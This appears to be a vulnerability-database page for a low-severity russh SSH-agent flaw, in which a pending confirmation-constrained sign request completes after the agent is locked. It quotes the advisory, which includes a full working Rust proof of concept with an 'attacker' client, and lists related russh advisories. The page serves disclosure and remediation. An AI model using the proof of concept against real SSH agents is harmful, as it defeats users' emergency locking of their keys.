russh try_sign: asynchronous confirmation can sign after agent lock
Severity and exploitation
KEV coverage does not rule out exploitation.
Assessment vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:NAssessment vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:NSeverity
low2.2CVSS measures technical severity, not the likelihood of an attack.
Known exploitation
Not listed in the checked CISA KEV catalog
Absence from CISA KEV does not rule out attacks.
Public exploit
Exploit reference published
Source-linked evidence; not proof of attacks in the wild or independent validation.
Remediation
Package fixes recorded
Fix versions are recorded for 1 of 1 mapped packages. Check each release branch and any separate product guidance.
What this means
In russh 0.65.0, a sign request for a confirmation-constrained key can retain and use the private key after another connection locks the agent. try_sign() snapshots an Arc before awaiting Agent::confirm() and does not revalidate the shared lock state after the await. An agent-forwarding peer can therefore obtain a signature while the agent is locked and every new request is being rejected.
Source excerpt · OSVAttack conditions
RFC 9987 section 5.7 requires a locked agent to suspend private-key signature
operations until it is unlocked. The PoC is self-contained and uses in-memory duplex streams; it does not require
an SSH server, Unix socket, or attached binary file. The attacker does not recover private key
material, and exploitation requires a sign request to be pending across the
state transition and its confirmation callback eventually to return true.
Excerpt from the original source description below.
Review supporting sources →Affected versions
Check the exact model, release, and any platform requirements against your installation.
Eugeny · GitHub_M
russh
1 range
Eugeny · GitHub_M
russh
Compare with this publisher’s ranges. This does not inspect your installation.
affected
>= 0.65.0, < 0.65.1
Other versions: unknown
Packages
Compare each installed version with the publisher’s affected ranges. Where a fix is recorded, choose the appropriate release branch and test compatibility before upgrading.
| Affected range | Recorded fix |
|---|---|
| From 0.65.0 before 0.65.1Semantic versions | 0.65.1 |
Version evidence: OSV · GHSA-736f-c93q-9fwx
View original version evidence (1 explicit versions)
What to do
Compare your installed product and version with the affected versions above. A matching product name alone does not confirm exposure.
Use the recorded fix for your release branch. Review the publisher’s instructions and test compatibility before upgrading.
cve.new guidance unless attributed to a publisher. This page does not inspect your installation.
Public exploit evidence
The sources identify public exploit references. We have not independently tested them; their availability does not establish exploitation in the wild.
Eugeny/russh · security/advisories/GHSA-736f-c93q-9fwx ↗Attributed to CISA-ADPOriginal source description
Read the full publisher description
Summary
In russh 0.65.0, a sign request for a confirmation-constrained key can retain
and use the private key after another connection locks the agent. try_sign()
snapshots an Arc<PrivateKey> before awaiting Agent::confirm() and does not
revalidate the shared lock state after the await. An agent-forwarding peer can
therefore obtain a signature while the agent is locked and every new request is
being rejected.
Details
The agent's lock and key stores are shared by all connections. respond() reads
the lock state once, then dispatches a sign request:
let is_locked = {
// ... read the shared lock ...
};
// ...
Some((&13, mut r))
if !is_locked && agentref.confirm_request(MessageType::Sign).await =>
{
let agent = self.agent.take().ok_or(Error::AgentFailure)?;
let (agent, signed) = self.try_sign(agent, &mut r, writebuf).await?;
In try_sign(), russh clones the private key from the shared store and drops the
store lock before awaiting the asynchronous confirmation callback:
let key = {
let blob = Bytes::decode(r)?;
let k = self.keys.0.read().or(Err(Error::AgentFailure))?;
if let Some((key, _, constraints)) = k.get(&blob.to_vec()) {
if constraints.contains(&Constraint::Confirm) {
needs_confirm = true;
}
key.clone()
} else {
return Ok((agent, false));
}
};
let agent = if needs_confirm {
let (agent, ok) = agent.confirm(key.clone()).await;
if !ok {
return Ok((agent, false));
}
agent
} else {
agent
};
// No lock/key-state revalidation occurs here.
sign_with_hash_alg(&PrivateKeyWithHashAlg::new(key, hash_alg), &data)?
.encode(writebuf)?;
While confirm() is pending, a second agent connection can successfully lock
the shared agent. When confirmation later returns true, the original
connection signs with its captured Arc<PrivateKey>.
The affected code is in
russh/src/keys/agent/server.rs
and
try_sign().
RFC 9987 section 5.7 requires a locked agent to suspend private-key signature operations until it is unlocked. A fresh request is correctly rejected while locked; only the request suspended across the await bypasses the lock.
The vulnerable asynchronous call was introduced by commit 62db6e7 as the fix
for GHSA-vp5q-ff62-jwqv. The behavior is present in released version 0.65.0
and current commit 183a22e8f8f490fa09b6eb7bd044ef99d8c4414f.
Expected behavior
After the agent reports a successful lock, no private-key signature operation should complete until a successful unlock.
Actual behavior
A request that reached Agent::confirm() before the state transition signs
afterward. New requests made in the same locked or expired state fail, confirming
that the shared state transition took effect.
Proof of concept
The PoC is self-contained and uses in-memory duplex streams; it does not require an SSH server, Unix socket, or attached binary file. With a current stable Rust toolchain installed, create a new directory:
mkdir -p russh-agent-lock-toctou-poc/src
cd russh-agent-lock-toctou-poc
Create Cargo.toml:
[package]
name = "russh-agent-lock-toctou-poc"
version = "0.1.0"
edition = "2024"
[dependencies]
futures = "0.3"
rand = { version = "0.10", features = ["thread_rng"] }
russh = "=0.65.0"
tokio = { version = "1", features = ["macros", "rt-multi-thread", "sync"] }
tokio-stream = "0.1"
Create src/main.rs:
use std::{future::Future, sync::Arc};
use russh::keys::agent::{
Constraint,
client::AgentClient,
server::{self, Agent},
};
use russh::keys::{Algorithm, PrivateKey};
use tokio::{
io::DuplexStream,
sync::{Notify, mpsc},
};
use tokio_stream::wrappers::ReceiverStream;
#[derive(Clone)]
struct DelayedConfirm {
entered: Arc<Notify>,
release: Arc<Notify>,
}
impl Agent for DelayedConfirm {
fn confirm(
self,
_key: Arc<PrivateKey>,
) -> Box<dyn Future<Output = (Self, bool)> + Unpin + Send> {
Box::new(Box::pin(async move {
self.entered.notify_one();
self.release.notified().await;
(self, true)
}))
}
}
async fn connect(
sender: &mpsc::Sender<std::io::Result<DuplexStream>>,
) -> AgentClient<DuplexStream> {
let (server_stream, client_stream) = tokio::io::duplex(1024 * 1024);
sender.send(Ok(server_stream)).await.unwrap();
AgentClient::connect(client_stream)
}
#[tokio::main]
async fn main() {
let entered = Arc::new(Notify::new());
let release = Arc::new(Notify::new());
let agent = DelayedConfirm {
entered: entered.clone(),
release: release.clone(),
};
let (sender, receiver) = mpsc::channel(4);
tokio::spawn(async move {
server::serve::<DuplexStream, _, _>(ReceiverStream::new(receiver), agent)
.await
.unwrap();
});
let key = PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap();
let public_key = key.public_key().clone();
let mut administrator = connect(&sender).await;
administrator
.add_identity(&key, &[Constraint::Confirm])
.await
.unwrap();
let mut attacker = connect(&sender).await;
let attacker_key = public_key.clone();
let pending_sign = tokio::spawn(async move {
attacker
.sign_request_signature(&attacker_key, None, b"attacker-controlled request")
.await
});
entered.notified().await;
administrator.lock(b"lock-password").await.unwrap();
println!("agent locked while confirmation was pending");
// Control: a request started after the lock is rejected.
let mut control = connect(&sender).await;
let control_result = control
.sign_request_signature(&public_key, None, b"post-lock request")
.await;
println!("new post-lock request accepted: {}", control_result.is_ok());
// The original request signs after the lock has taken effect.
release.notify_one();
let pending_result = pending_sign.await.unwrap();
println!(
"pre-lock request signed after lock: {}",
pending_result.is_ok()
);
assert!(control_result.is_err());
assert!(pending_result.is_ok());
}
Run:
cargo run --quiet
Observed on russh 0.65.0 with Rust 1.91.0:
agent locked while confirmation was pending
new post-lock request accepted: false
pre-lock request signed after lock: true
Impact
russh-based SSH agents that implement asynchronous confirmation are affected, including agents exposed to remote SSH servers through agent forwarding. A peer can begin a signature request while the agent is unlocked and hold it in the confirmation phase. If the agent is subsequently locked, approving or otherwise completing the stale confirmation still gives the peer a signature that the agent's current state rejects for every new request.
This weakens emergency locking. The attacker does not recover private key
material, and exploitation requires a sign request to be pending across the
state transition and its confirmation callback eventually to return true.
Related
References
5 sourcesInside the record
Evidence available
Describes the evidence in this view, not whether the product is safe.
Original records
CVE-2026-128088View the latest unmodified CVE JSON from the official source. It may be newer than this imported page.
cve.new JSON →Underlying weaknesses
The source’s classification of what caused the vulnerability.
Contributing organizations · 2
Assigning organization
Additional data publisher
Timeline
All times UTCAdvisory published
Publication date supplied by the source.
Source updated
Latest modification date supplied by the source.
Last imported by cve.new
Latest catalog import, not the date we first saw this advisory.
What changed
Follow changes- CVE · CVE-2026-128088
Observed 2026-11-18T13:23:14.131Z · upstream updated 2026-11-18T13:09:31.218Z
Prioritization updated
before
[]
after
[ { "source": "CISA-ADP", "type": "SSVC", "role": "CISA Coordinator", "timestamp": "2026-11-18T13:08:58.004343Z", "decisions": [ { "name": "Exploitation", "value": "poc" }, { "name": "Automatable", "value": "no" }, { "name": "Technical Impact", "value": "partial" } ] } ]
Large field values are marked as truncated previews. Original source snapshots remain retained.
Showing up to 50 most recent observed changes.
Related advisories
Recent advisories affecting the same package or the same recorded vendor and product. These are separate vulnerabilities, not additional evidence for this advisory.
russh kex_done: Shared-secret callback runs before server host-key verification
A malicious SSH server whose host key is rejected can still cause russh's client::Handler::kex_done() callback to execute with the raw key-exchange shared secret. Applications using the callback for its documented protocol-bridging purpose may derive keys, initialize a secondary data channel, or perform another externally visible action before russh calls check_server_key() and rejects the server.
Recorded fixes — russh: 0.65.1. Check your release branch.
Public exploit reference
A russh SSH server accepts a publickey authentication whose signature uses a different algorithm than the one named in…
russh is a Rust SSH client and server library. From version 0.34.0-beta.1 until version 0.64.0, its SSH server does not require the signature algorithm in a public-key authentication signature to match the algorithm named in the authentication request. A client possessing an authorized RSA private key can announce rsa-sha2-512 while supplying a valid ssh-rsa SHA-1 signature, bypassing restrictions or producing misleading audit records when applications rely on the requested algorithm. A valid private-key signature remains required, and russh clients are not affected. This issue is fixed in version 0.64.0.
No structured fix or guidance is available here. Check the latest publisher advisory.
Public exploit reference
russh: Agent server never calls Agent::confirm, so keys added with the confirm constraint (ssh-add -c) sign without…
The agent server in russh::keys::agent::server never calls Agent::confirm before signing with a key that was added with the confirm constraint. That constraint is SSH_AGENT_CONSTRAIN_CONFIRM (RFC 9987 §5.2.7.2), which is what ssh-add -c sends.
Recorded fixes — russh: 0.65.0 or 0.65. Check your release branch.
Public exploit reference
pageant: unbounded frame buffering on peer-controlled 4-byte length prefix (memory-exhaustion DoS)
pageant::PageantStream reads a 4-byte big-endian length prefix from its input stream and buffers until len + 4 bytes are available, without ever validating len. The underlying WM_COPYDATA transport physically cannot carry frames larger than 8 KiB (_AGENT_MAX_MSGLEN, the fixed-size shared memory mapping), so an oversized frame is destined to fail — but only after the re-framing task has already buffered the full claimed size. A peer controlling the stream bytes can claim a frame of up to ~4 GiB and either stream that much data (forcing a corresponding allocation) or simply stop mid-frame and keep the partial buffer resident indefinitely.
Recorded fixes — pageant: 0.2.5. Check your release branch.
Public exploit reference
russh: peer-declared zero maximum packet size permanently stalls channel writes (silent AsyncWrite hang)
A peer can advertise maximum packet size = 0 in its channel-open message (CHANNEL_OPEN when attacking a server, CHANNEL_OPEN_CONFIRMATION when attacking a client). russh accepts the value without validation and copies it into the channel write state, where it caps the size of every outgoing data chunk. In the AsyncWrite code path (ChannelTx::poll_writable, used by Channel::data(), Channel::make_writer() and Channel::into_stream()), a cap of 0 makes every write future stay Poll::Pending forever: writable = max_packet_size.min(window_size).min(buf_len) is always 0, and no future event can ever raise it (a static maximum packet size of 0 can never be satisfied by any amount of peer-granted window). The write neither completes nor errors, so the application task hangs silently.
Recorded fixes — russh: 0.65. Check your release branch.
Exploitation not established
russh's SSH client is susceptible to unbounded allocations via EXT_INFO packets
All evidence, reproduction steps, and scripts in the report were verified against a real running instance. Nothing is fabricated or synthetic; every verdict is backed by captured output from an actual deployment. Concretely, the evidence comes from executing the real russh v0.64.1 client packet parser (Session::process_packet handling handle_ext_info) in a live client session with attacker-supplied packet bodies in the pre-authentication state; the captured output below is from that real execution.
Recorded fixes — russh: 0.65. Check your release branch.
Public exploit reference